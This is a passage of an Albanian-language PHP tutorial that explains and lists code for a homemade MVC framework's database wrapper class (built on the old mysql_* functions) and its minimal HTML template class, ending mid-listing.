#009900;">&#41;</span> <span style="color: #009900;">&#123;</span></li><li>			<span style="color: #000088;">$controller</span><span style="color: #339933;">-&gt;</span><span style="color: #000088;">$params</span><span style="color: #009900;">&#91;</span><span style="color: #cc66cc;">1</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>	</li><li>		<span style="color: #009900;">&#125;</span> <span style="color: #b1b100;">else</span> <span style="color: #009900;">&#123;</span></li><li>			<span style="color: #000088;">$controller</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">home</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>	</li><li>		<span style="color: #009900;">&#125;</span></li><li>	<span style="color: #009900;">&#125;</span></li><li>&nbsp;</li><li>	<span style="color: #666666; font-style: italic;">/*</span></li><li><span style="color: #666666; font-style: italic;">		Funksioni qe therritet kur duhet te ngarkohet nje Kontrollues. Thjeshte sherben si nderfaqe</span></li><li><span style="color: #666666; font-style: italic;">		ndaj decodeRoute().</span></li><li><span style="color: #666666; font-style: italic;">	*/</span></li><li>	<span style="color: #000000; font-weight: bold;">public</span> <span style="color: #000000; font-weight: bold;">function</span> loadController <span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span></li><li>		<span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">decodeRoute</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span></li><li>	<span style="color: #009900;">&#125;</span></li><li>&nbsp;</li><li>	<span style="color: #666666; font-style: italic;">/*</span></li><li><span style="color: #666666; font-style: italic;">		Funksioni qe therritet kur nuk eshte vendosur asnje ne url; pra ne index. Automatikisht</span></li><li><span style="color: #666666; font-style: italic;">		egzekutohet Kontrolluesi Controller_Main dhe metoda home().</span></li><li><span style="color: #666666; font-style: italic;">	*/</span></li><li>	<span style="color: #000000; font-weight: bold;">public</span> <span style="color: #000000; font-weight: bold;">function</span> loadMainController <span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span></li><li>		<span style="color: #000088;">$main</span> <span style="color: #339933;">=</span> <span style="color: #000000; font-weight: bold;">new</span> Controller_Main<span style="color: #339933;">;</span></li><li>		<span style="color: #000088;">$main</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">home</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>	</li><li>	<span style="color: #009900;">&#125;</span></li><li><span style="color: #009900;">&#125;</span></li><li><span style="color: #000000; font-weight: bold;">?&gt;</span></li></ol></div></pre><!--END_DEVFMTCODE--></p>
<h2>Klasa DB</h2>
<p>Klasa e Databazës nuk është asgjë më shumë se sa një ndërfaqe ndaj funksioneve specifike; në këtë rast të MySQL. E gjitha bëhet për të ofruar funksione gjenerike, në mënyrë që mos të përsëriten gjatë të gjithë kodit funksionet specifike. Po marr një shembull. Le të supozojmë se po ndërtoni një aplikacion që përdor MySQL dhe pa e vrarë mendjen, vini në përdorim funksionet specifike të MySQL si: mysql_query(), mysql_fetch_assoc(), mysql_num_rows(), etj. Në një moment, aplikacioni bëhet shumë intensiv dhe vendoset që databaza të kalojë në Oracle. Katastrofë! Përveç se do ju duhet të rishikoni query-t e bëra dhe ti optimizoni për Oracle, do ju duhet ti ndërroni të gjitha funksionet mysql_, në ekuivalentët Oracle (oci_). Për ta zbutur dhimbjen, vjen në ndihmë klasa e Databazës.</p>
<p>Në vend që të shkruaj direkt mysql_query() apo funksione të tjera specifike, kam krijuar një klasë që ofron metoda për ti thërritur. Mjafton të shkruaj $db-&gt;query(), $db-&gt;results() apo $db-&gt;num_rows() për të thërritur respektivisht mysql_query(), mysql_fetch_assoc() dhe mysql_num_rows(). Nëse një ditë do të më duhet ta migroj databazën në një sistem tjetër, mjafton të ndërroj funksionet në klasën e Databazën dhe i gjithë aplikacioni është i sigurtë. Kaq e thjeshtë, por me rëndësi kritike në momentin kur duhet.</p>
<p>Por, krahas portabilitetit, klasa e Databazës mund të jetë një ndërfaqe që ofron lehtësira. Mund të kodohet që ti pastrojë automatikisht parametrat në një query, të ofrojë një ndërfaqe më intuitive për futjen e të dhënave dhe çfarëdo që ju bie ndërmend. Në rastin konkret, krahas metodave query(), results() dhe num_rows(), unë kam shkruajtur: change() &#8211; për të ndërruar databazën aktive dhe clean() &#8211; për të pastruar të dhënat me mysql_real_escape_string().</p>
<p><strong>Si mund të përmirësohet klasa e Databazës?</strong> Një praktikë e mirë për abstraktimin (është fjalë kjo?) e databazave është përdorimi i një design pattern të quajtur Active Record. Kuptohet, mund ti rrini strikt specifikimeve ose jo, kjo është në dorën tuaj, por përgjithësisht është ide e mirë të bëni implementimin tuaj dhe jo të merrni zgjidhje të gatshme që mund të mos funksionojnë për ju. Ideja e një shtrese abstrakte është të ndërfaqësoje gjithçka; pra të mos shkruani query në formën bazë, por ti ndërfaqësoni me funksione të veçanta: $db-&gt;select(&#8216;emri&#8217;, &#8216;email&#8217;)-&gt;from(&#8216;perdoruesit&#8217;)-&gt;where(array(&#8216;id&#8217;=&#8217;10&#8242;));. Query-t kthehen në objekte dhe më e rëndësishmja, abstraktohen aq sa migrimi është fare i thjeshtë.</p>
<p>Për ta mbyllur seksionin, ju këshilloj ti hidhni një sy <a title="PHP PDO" href="http://php.net/manual/en/book.pdo.php" target="_blank">PDO</a>, sepse ofron mjaftueshëm drivera për sisteme të ndryshme, funksionalitet me objekte dhe lehtësira.</p>
<p><strong>Kodi i klasës DB</strong><br />
<!--DEVFMTCODE--><pre class="devcodeblock" title="PHP"><div class="devcodeoverflow"><ol><li><span style="color: #000000; font-weight: bold;">&lt;?php</span></li><li><span style="color: #000000; font-weight: bold;">class</span> DB <span style="color: #009900;">&#123;</span></li><li>&nbsp;</li><li>	<span style="color: #666666; font-style: italic;">//Variabla qe do te mbaje rezultatet e kthyera nga mysql_query()</span></li><li>	<span style="color: #000000; font-weight: bold;">private</span> <span style="color: #000088;">$results</span><span style="color: #339933;">;</span></li><li>&nbsp;</li><li>	<span style="color: #666666; font-style: italic;">/*</span></li><li><span style="color: #666666; font-style: italic;">		Per lehtesi kam bere lidhjen me serverin e databazes dhe selektimin e saj</span></li><li><span style="color: #666666; font-style: italic;">		direkt ne __construct(). Funksioni egzekutohet ne momentin qe klasa krijohet.</span></li><li><span style="color: #666666; font-style: italic;">		Variablat e perdorura jane konstante te deklaruara ne config.php</span></li><li><span style="color: #666666; font-style: italic;">	*/</span></li><li>	<span style="color: #000000; font-weight: bold;">public</span> <span style="color: #000000; font-weight: bold;">function</span> __construct <span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span></li><li>		<span style="color: #990000;">mysql_connect</span><span style="color: #009900;">&#40;</span>DB_HOST<span style="color: #339933;">,</span> DB_USER<span style="color: #339933;">,</span> DB_PASS<span style="color: #009900;">&#41;</span> or <span style="color: #990000;">trigger_error</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'Nuk u krye lidhja me serverin e databazes'</span><span style="color: #339933;">,</span> FATAL<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span></li><li>		<span style="color: #990000;">mysql_select_db</span><span style="color: #009900;">&#40;</span>DB_NAME<span style="color: #009900;">&#41;</span> or <span style="color: #990000;">trigger_error</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'Nuk u gjend nje databaze me emrin e dhene'</span><span style="color: #339933;">,</span> FATAL<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span></li><li>	<span style="color: #009900;">&#125;</span></li><li>&nbsp;</li><li>	<span style="color: #666666; font-style: italic;">/*</span></li><li><span style="color: #666666; font-style: italic;">		Nje funksion ndihmes per te nderruar databazen. Thjeshte nje thirrje e vetme</span></li><li><span style="color: #666666; font-style: italic;">		e funksionit mysql_select_db(). Nje shembull perdorimi:</span></li><li>&nbsp;</li><li><span style="color: #666666; font-style: italic;">		$db-&gt;change('emri_i_tables');</span></li><li><span style="color: #666666; font-style: italic;">	*/</span></li><li>	<span style="color: #000000; font-weight: bold;">public</span> <span style="color: #000000; font-weight: bold;">function</span> change <span style="color: #009900;">&#40;</span><span style="color: #000088;">$new_db</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span></li><li>		<span style="color: #990000;">mysql_select_db</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$new_db</span><span style="color: #009900;">&#41;</span> or <span style="color: #990000;">trigger_error</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'Nuk u gjend nje databaze me emrin e dhene'</span><span style="color: #339933;">,</span> FATAL<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span></li><li>	<span style="color: #009900;">&#125;</span></li><li>&nbsp;</li><li>	<span style="color: #666666; font-style: italic;">/*</span></li><li><span style="color: #666666; font-style: italic;">		Funksion per te egzekutuar nje query. Kontrollohet fillimisht nese query e shkruar</span></li><li><span style="color: #666666; font-style: italic;">		nuk eshte bosh dhe eshte tekst para se te behet thirrja ne databaze me mysql_query().</span></li><li><span style="color: #666666; font-style: italic;">		Ne fund, kontrolloj nese mysql_query() ka kthyer FALSE dhe nese po, do te thote qe </span></li><li><span style="color: #666666; font-style: italic;">		ka deshtuar.</span></li><li>&nbsp;</li><li><span style="color: #666666; font-style: italic;">		return $this eshte nje menyre per te bere method-chaining (zinxhir metodash) ne PHP.</span></li><li><span style="color: #666666; font-style: italic;">		Praktikisht funksioni query() kthen nje objekt dhe variabla qe e pret kete objekt,</span></li><li><span style="color: #666666; font-style: italic;">		mund te perdoret vete si e tille dhe te therrase metoda te vete atij objektit.</span></li><li>&nbsp;</li><li><span style="color: #666666; font-style: italic;">		Perdorimi i objektit $db dhe funksioneve query() dhe result() do te ngjante e tille</span></li><li><span style="color: #666666; font-style: italic;">		nese s'do perdorja zinxhir metodash:</span></li><li>&nbsp;</li><li><span style="color: #666666; font-style: italic;">		$query = $db-&gt;query('SELECT * FROM tabela');</span></li><li><span style="color: #666666; font-style: italic;">		foreach ($db-&gt;results = $row) {</span></li><li><span style="color: #666666; font-style: italic;">			echo $row['kolona'];	</span></li><li><span style="color: #666666; font-style: italic;">		}</span></li><li>&nbsp;</li><li><span style="color: #666666; font-style: italic;">		Ndersa me zinxhir metodash do te ngjante e tille:</span></li><li>&nbsp;</li><li><span style="color: #666666; font-style: italic;">		$query = $db-&gt;query('SELECT * FROM tabela');</span></li><li><span style="color: #666666; font-style: italic;">		foreach ($query-&gt;results = $row) {</span></li><li><span style="color: #666666; font-style: italic;">			echo $row['kolona'];	</span></li><li><span style="color: #666666; font-style: italic;">		}</span></li><li>&nbsp;</li><li><span style="color: #666666; font-style: italic;">		Ndryshimi eshte minimal, por me intuitiv sepse perdor direkt variablen $query per</span></li><li><span style="color: #666666; font-style: italic;">		te marre rezultatet dhe per ti bere atyre loop.</span></li><li><span style="color: #666666; font-style: italic;">	*/</span></li><li>	<span style="color: #000000; font-weight: bold;">public</span> <span style="color: #000000; font-weight: bold;">function</span> query <span style="color: #009900;">&#40;</span><span style="color: #000088;">$sql</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span></li><li>		<span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #000088;">$sql</span> <span style="color: #339933;">==</span> <span style="color: #0000ff;">''</span> or <span style="color: #339933;">!</span><span style="color: #990000;">is_string</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$sql</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span></li><li>			<span style="color: #990000;">trigger_error</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'SQL e shkruar nuk eshte e vlefshme'</span><span style="color: #339933;">,</span> FATAL<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span></li><li>		<span style="color: #009900;">&#125;</span></li><li>&nbsp;</li><li>		<span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">results</span> <span style="color: #339933;">=</span> <span style="color: #990000;">mysql_query</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$sql</span><span style="color: #009900;">&#41;</span> or <span style="color: #990000;">trigger_error</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'Query nuk funksionoi'</span><span style="color: #339933;">,</span> FATAL<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span></li><li>&nbsp;</li><li>		<span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #339933;">!</span><span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">results</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span></li><li>			<span style="color: #990000;">trigger_error</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'Query nuk funksionoi'</span><span style="color: #339933;">,</span> FATAL<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span></li><li>		<span style="color: #009900;">&#125;</span></li><li>&nbsp;</li><li>		<span style="color: #b1b100;">return</span> <span style="color: #000088;">$this</span><span style="color: #339933;">;</span></li><li>	<span style="color: #009900;">&#125;</span></li><li>&nbsp;</li><li>	<span style="color: #666666; font-style: italic;">/*</span></li><li><span style="color: #666666; font-style: italic;">		Funksioni qe perpunon rezultatet e ktheyra nga query dhe i kthen ne forme te dhenash.</span></li><li><span style="color: #666666; font-style: italic;">		Fillimisht behet nje while() i cili lexon cdo rresht te kthyer dhe e fut ate ne nje</span></li><li><span style="color: #666666; font-style: italic;">		vektor. Me pas kontrolloj nese eshte kthyer vetem 1 rresht, te cilin e kthej si</span></li><li><span style="color: #666666; font-style: italic;">		nje vektor 1-dimensional. Ne te kundert, kthej direkt vektorin multi-dimensional</span></li><li><span style="color: #666666; font-style: italic;">		qe permban te gjithe rreshtat.</span></li><li>&nbsp;</li><li><span style="color: #666666; font-style: italic;">		Nese e di qe query kthen shume rreshta, do kem nje kod te tille:</span></li><li>&nbsp;</li><li><span style="color: #666666; font-style: italic;">		$query = $db-&gt;query('SELECT * FROM tabela');</span></li><li><span style="color: #666666; font-style: italic;">		foreach ($query-&gt;results() as $row) {</span></li><li><span style="color: #666666; font-style: italic;">			echo $row['kol1'] . $row['kol2'];</span></li><li><span style="color: #666666; font-style: italic;">		}</span></li><li>&nbsp;</li><li><span style="color: #666666; font-style: italic;">		Nese e di qe query kthen vetem 1 rresht, nuk eshte nevoja te bej lak:</span></li><li>&nbsp;</li><li><span style="color: #666666; font-style: italic;">		$query = $db-&gt;query('SELECT * FROM tabela WHERE id=10 LIMIT 1');</span></li><li><span style="color: #666666; font-style: italic;">		$values = $query-&gt;results();</span></li><li><span style="color: #666666; font-style: italic;">		echo $row['kol1'] . $row['kol2'];</span></li><li><span style="color: #666666; font-style: italic;">	*/</span></li><li>	<span style="color: #000000; font-weight: bold;">public</span> <span style="color: #000000; font-weight: bold;">function</span> results <span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span></li><li>		<span style="color: #000088;">$values</span> <span style="color: #339933;">=</span> <span style="color: #990000;">array</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span></li><li>&nbsp;</li><li>		<span style="color: #b1b100;">while</span> <span style="color: #009900;">&#40;</span><span style="color: #000088;">$row</span> <span style="color: #339933;">=</span> <span style="color: #990000;">mysql_fetch_assoc</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">results</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span></li><li>			<span style="color: #000088;">$values</span><span style="color: #009900;">&#91;</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">=</span> <span style="color: #000088;">$row</span><span style="color: #339933;">;</span></li><li>		<span style="color: #009900;">&#125;</span></li><li>&nbsp;</li><li>		<span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #990000;">count</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$values</span><span style="color: #009900;">&#41;</span> <span style="color: #339933;">==</span> <span style="color: #cc66cc;">1</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span></li><li>			<span style="color: #000088;">$values</span> <span style="color: #339933;">=</span> <span style="color: #000088;">$values</span><span style="color: #009900;">&#91;</span><span style="color: #cc66cc;">0</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">;</span>	</li><li>		<span style="color: #009900;">&#125;</span></li><li>&nbsp;</li><li>		<span style="color: #b1b100;">return</span> <span style="color: #000088;">$values</span><span style="color: #339933;">;</span></li><li>	<span style="color: #009900;">&#125;</span></li><li>&nbsp;</li><li>	<span style="color: #666666; font-style: italic;">/*</span></li><li><span style="color: #666666; font-style: italic;">		Nje funksion fare i thjeshte qe kthen numrin e rreshtave te nje query me ane te</span></li><li><span style="color: #666666; font-style: italic;">		funksionit mysql_num_rows(). Nje shembull perdorimi:</span></li><li>&nbsp;</li><li><span style="color: #666666; font-style: italic;">		$query = $db-&gt;query('SELECT * FROM tabela');</span></li><li><span style="color: #666666; font-style: italic;">		echo $query-&gt;num_rows();</span></li><li><span style="color: #666666; font-style: italic;">	*/</span></li><li>	<span style="color: #000000; font-weight: bold;">public</span> <span style="color: #000000; font-weight: bold;">function</span> num_rows <span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span></li><li>		<span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #990000;">mysql_num_rows</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">results</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span></li><li>			<span style="color: #b1b100;">return</span> <span style="color: #990000;">mysql_num_rows</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">results</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>	</li><li>		<span style="color: #009900;">&#125;</span></li><li>	<span style="color: #009900;">&#125;</span></li><li>&nbsp;</li><li>	<span style="color: #666666; font-style: italic;">/*</span></li><li><span style="color: #666666; font-style: italic;">		Edhe ky eshte nje funksion i thjeshte qe pastron te dhenat qe do te futen ne databze</span></li><li><span style="color: #666666; font-style: italic;">		me mysql_real_escape_string(). Nje shembull perdorimi:</span></li><li>&nbsp;</li><li><span style="color: #666666; font-style: italic;">		$emri = $db-&gt;clean($_POST['emri');</span></li><li><span style="color: #666666; font-style: italic;">		$email = $db-&gt;clean($_POST['email]);</span></li><li><span style="color: #666666; font-style: italic;">		$query = $db-&gt;query(&quot;INSERT INTO perdoruesit (emri, email) VALUES ('$emri', '$email')&quot;);</span></li><li><span style="color: #666666; font-style: italic;">	*/</span></li><li>	<span style="color: #000000; font-weight: bold;">public</span> <span style="color: #000000; font-weight: bold;">function</span> clean <span style="color: #009900;">&#40;</span><span style="color: #000088;">$input</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span></li><li>		<span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #000088;">$input</span> <span style="color: #339933;">!=</span> <span style="color: #0000ff;">''</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span></li><li>			<span style="color: #b1b100;">return</span> <span style="color: #990000;">mysql_real_escape_string</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$input</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>	</li><li>		<span style="color: #009900;">&#125;</span></li><li>	<span style="color: #009900;">&#125;</span></li><li>&nbsp;</li><li><span style="color: #009900;">&#125;</span></li><li><span style="color: #000000; font-weight: bold;">?&gt;</span></li></ol></div></pre><!--END_DEVFMTCODE--></p>
<h2>Klasa Template</h2>
<p>Në PHP, Shabllonet janë të kritikuara nga disa dhe të lavdëruara nga të tjerë. Një grup i lavdëron sepse të lejojnë të shkruash HTML pa e pëzier prezantimin me logjikën PHP dhe pse skedarët&nbsp;janë më të lehtë të menaxhohen nga diznjues/kodues që nuk njohin PHP-në. Nga ana tjetër, ka të tjerë që i kritikojnë sepse shtojnë një nivel abstrakt që nuk nevojitet për një gjuhë që vetë&nbsp;është një &#8220;template&#8221; për HTML. Zgjedhja mbetet personale dhe tërësisht e varur nga qëllimi.</p>
<p>Ajo që unë personalisht kritikoj janë Template Engine si Smarty, që ofrojnë aq shumë sa vështirësia për ti mësuar krahasohet me vetën PHP-në. Diskutimi këtu&nbsp;është i ngjashëm me atë rreth Zend Framework dhe 700.000+ rreshta kod të saj. Në momentin që Shabllonet bëhen më të komplikuara se vetë gjuha, ka diçka që nuk shkon.</p>
<p>Klasa e shablloneve që unë kam bërë&nbsp;është fare minimaliste sepse niveli abstrakt&nbsp;është shumë i vogël. Jam mjaftuar me disa instruksione të thjeshta që janë tipike të përdoren dhe kaq. Sigurisht, disa shtime nuk i bëjnë keq, por gjithmonë duke e mbajtur në thjeshtësinë aktuale.</p>
<p>Direktoria e dedikuar shablloneve është &#8220;<em>app/views/</em>&#8220;. Aty mund të krijohen skedarë HTML (.html, .htm, .tpl apo çfarëdo) dhe brenda tyre mund të shkruhet direkt kod HTML, si në një faqe normale. I vetmi ndryshim është se brenda kodit HTML mund të përdoren disa instruksione të veçanta. Aktualisht, klasa e Shablloneve përpunon tre tipe instruksionesh:</p>
<ol>
<li><strong>Pseudo-Variabla</strong> &#8211; Shkruhen midis kllapave gjarpëruese në formën: <em>{variabla}</em> dhe përdoren në Kontrollues për ti zëvendësuar me tekstin e duhur.</li>
<li><strong>Pseudo-Konstante</strong> &#8211; Njësoj me pseudo-variablat, por vlera e tyre është e paracaktuar. Psh, unë kam përdorur një pseudo-konstante <em>{PATH}</em> që vendos URL-në e aplikacionit.</li>
<li><strong>Includes</strong> &#8211; Funksion që përfshin shabllone të tjera brenda atij aktual. Shkruhet në formën: <em>{include=skedari.html}</em></li>
</ol>
<p>Me këto që ofrohen, mund të kodohet shumë mirë një design i plotë. Sigurisht, nuk ofrohet fleksibiliteti i disa Templates Engine të famshme, por pse duhet? Po ju tregoj një shembull të thjeshtë si duket një skedar shabllon.<br />
<!--DEVFMTCODE--><pre class="devcodeblock" title="HTML"><div class="devcodeoverflow"><ol><li><span style="color: #009900;">&lt;<span style="color: #000000; font-weight: bold;">html</span>&gt;</span></li><li><span style="color: #009900;">&lt;<span style="color: #000000; font-weight: bold;">head</span>&gt;</span></li><li><span style="color: #009900;">&lt;<span style="color: #000000; font-weight: bold;">title</span>&gt;</span>{titulli_faqes}<span style="color: #009900;">&lt;<span style="color: #66cc66;">/</span><span style="color: #000000; font-weight: bold;">title</span>&gt;</span></li><li><span style="color: #009900;">&lt;<span style="color: #000000; font-weight: bold;">link</span> <span style="color: #000066;">rel</span><span style="color: #66cc66;">=</span><span style="color: #ff0000;">&quot;stylesheet&quot;</span> <span style="color: #000066;">type</span><span style="color: #66cc66;">=</span><span style="color: #ff0000;">&quot;text/css&quot;</span> <span style="color: #000066;">media</span><span style="color: #66cc66;">=</span><span style="color: #ff0000;">&quot;screen&quot;</span> <span style="color: #000066;">href</span><span style="color: #66cc66;">=</span><span style="color: #ff0000;">&quot;{PATH}app/assets/styles.css&quot;</span> <span style="color: #66cc66;">/</span>&gt;</span></li><li><span style="color: #009900;">&lt;<span style="color: #66cc66;">/</span><span style="color: #000000; font-weight: bold;">head</span>&gt;</span></li><li>&nbsp;</li><li><span style="color: #009900;">&lt;<span style="color: #000000; font-weight: bold;">body</span>&gt;</span></li><li><span style="color: #009900;">&lt;<span style="color: #000000; font-weight: bold;">h1</span>&gt;</span>{titulli}<span style="color: #009900;">&lt;<span style="color: #66cc66;">/</span><span style="color: #000000; font-weight: bold;">h1</span>&gt;</span></li><li>&nbsp;</li><li>{trupi}</li><li>&nbsp;</li><li>{include=fotot.html}</li><li><span style="color: #009900;">&lt;<span style="color: #66cc66;">/</span><span style="color: #000000; font-weight: bold;">body</span>&gt;</span></li><li><span style="color: #009900;">&lt;<span style="color: #66cc66;">/</span><span style="color: #000000; font-weight: bold;">html</span>&gt;</span></li></ol></div></pre><!--END_DEVFMTCODE--><br />
E thjeshtë apo jo? Një dokument tipik HTML që përmban disa pseudo-variabla dhe një include. Vini re që &#8220;<em>styles.css</em>&#8221; ndodhet në skedarin &#8220;<em>assets</em>&#8220;. E kam bërë për lehtësi që skedarët CSS, JS, imazhet dhe resurse të tjera të faqes të ndodhen në një vend.</p>
<p>Me një dokument shabllon të ndërtuar, klasa e Shablloneve do bëjë punën e saj. Fillimisht merr skedarët e duhur HTML të shablloneve, ja lexon përmbajtjen dhe bën zëvendësimet e duhura për pseudo-variablat, pseudo-konstantet dhe includes. Në fund, kur Kontrolluesi e përcakton, e printon përmbajtjen në ekran si HTML. Kodi i prodhuar është HTML e pastër.</p>
<p><strong>Si mund të përmirësohet klasa e Shablloneve?</strong> Gjëja kryesore për tu bërë është caching, sidomos nëse pretendohet të punohet në aplikacione me trafik. Mund të bëni një sistem që e ruan përmbajtjen e përpunuar të shablloneve në një skedar të caktuar (/cache/) vetëm një herë dhe më pas serviret ai skedar i gatshëm, pa kryer proçese të tjera. Mund ta lini dinamike kohën që një skedar duhet të kalojë në cache për tu konsideruar i vjetër, në mënyrë që të përcaktohen kohë të shkurtra për faqe që ndryshojnë shpesh dhe kohë të gjata për ato që ndryshojnë rrallë. Është e sigurtë që caching e ndihmon serverin duke ulur proçesimet dhe vizitorin me shpejtësi hapjeje. Gjithashtu, mund ta përmirësoni sistemin duke shtuar pak elementë të përdorshëm si kushte: <em>if(@a is 2)</em> apo lak: <em>for(@a in @b)</em>. Këto të fundit janë më të vështira të kodohen se të thuhen, duke marrë parasysh që kushtet apo laket mund të jenë në disa nivele brenda njëri tjetrin. Por, me njohuritë që morrët më sipër, sidomos me proçesimin e {include}, jam i sigurt që mund ta realizoni lehtë.</p>
<p><strong>Kodi i klasës së Shablloneve:</strong><br />
<!--DEVFMTCODE--><pre class="devcodeblock" title="PHP"><div class="devcodeoverflow"><ol><li><span style="color: #000000; font-weight: bold;">&lt;?php</span></li><li><span style="color: #000000; font-weight: bold;">class</span> Template <span style="color: #009900;">&#123;</span></li><li>&nbsp;</li><li>	<span style="color: #666666; font-style: italic;">/*</span></li><li><span style="color: #666666; font-style: italic;">		Variabla qe do te mbaje te gjithe html-ne qe klasa e shablloneve</span></li><li><span style="color: #666666; font-style: italic;">		do te perpunoje dhe do te ktheje ne fund.</span></li><li><span style="color: #666666; font-style: italic;">	*/</span></li><li>	<span style="color: #000000; font-weight: bold;">private</span> <span style="color: #000088;">$output</span> <span style="color: #339933;">=</span> <span style="color: #0000ff;">''</span><span style="color: #339933;">;</span></li><li>&nbsp;</li><li>	<span style="color: #666666; font-style: italic;">/*</span></li><li><span style="color: #666666; font-style: italic;">		Funksion per te ngarkuar skedaret e shablloneve. Logjika ketu eshte</span></li><li><span style="color: #666666; font-style: italic;">		e ngjashme me metodat load() dhe store() te klases Loader, ku funksioni</span></li><li><span style="color: #666666; font-style: italic;">		i merr ne menyre dinamike parametrat. func_numer_args() kthen numrin e</span></li><li><span style="color: #666666; font-style: italic;">		parametrave, ndersa func_get_args() kthen nje vektor me te gjithe parametrat.</span></li><li><span style="color: #666666; font-style: italic;">		Nje shembull perdorimi:</span></li><li>&nbsp;</li><li><span style="color: #666666; font-style: italic;">		$tpl-&gt;loadFiles('header', 'footer');</span></li><li><span style="color: #666666; font-style: italic;">		$tpl-&gt;loadFiles('body');</span></li><li><span style="color: #666666; font-style: italic;">	*/</span></li><li>	<span style="color: #000000; font-weight: bold;">public</span> <span style="color: #000000; font-weight: bold;">function</span>	loadFiles <span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span></li><li>		<span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #990000;">func_num_args</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span></li><li>			<span style="color: #000088;">$files</span> <span style="color: #339933;">=</span> <span style="color: #990000;">func_get_args</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span></li><li>&nbsp;</li><li>			<span style="color: #666666; font-style: italic;">/*</span></li><li><span style="color: #666666; font-style: italic;">				Kam bere nje lak ne te gjithe parametrat</span></li><li><span style="color: #666666; font-style: italic;">			*/</span></li><li>			<span style="color: #b1b100;">foreach</span> <span style="color: #009900;">&#40;</span><span style="color: #000088;">$files</span> <span style="color: #b1b100;">as</span> <span style="color: #000088;">$file</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span></li><li>				<span style="color: #666666; font-style: italic;">/*</span></li><li><span style="color: #666666; font-style: italic;">					Percaktoj direktorine ku ndodhen skedaret HTML te shablloneve.</span></li><li><span style="color: #666666; font-style: italic;">					Gjithmone jane relative ndaj index.php qe ndodhet ne root.</span></li><li><span style="color: #666666; font-style: italic;">				*/</span></li><li>				<span style="color: #000088;">$file</span> <span style="color: #339933;">=</span> <span style="color: #0000ff;">&quot;app/views/<span style="color: #006699; font-weight: bold;">$file</span>.html&quot;</span><span style="color: #339933;">;</span></li><li>				<span style="color: #666666; font-style: italic;">/*</span></li><li><span style="color: #666666; font-style: italic;">					Nese skedari egziston, e marr permbajtjen e tij me file_get_contents().</span></li><li><span style="color: #666666; font-style: italic;">					Kthimi nga ky i fundit eshte tekst i thjeshte.</span></li><li><span style="color: #666666; font-style: 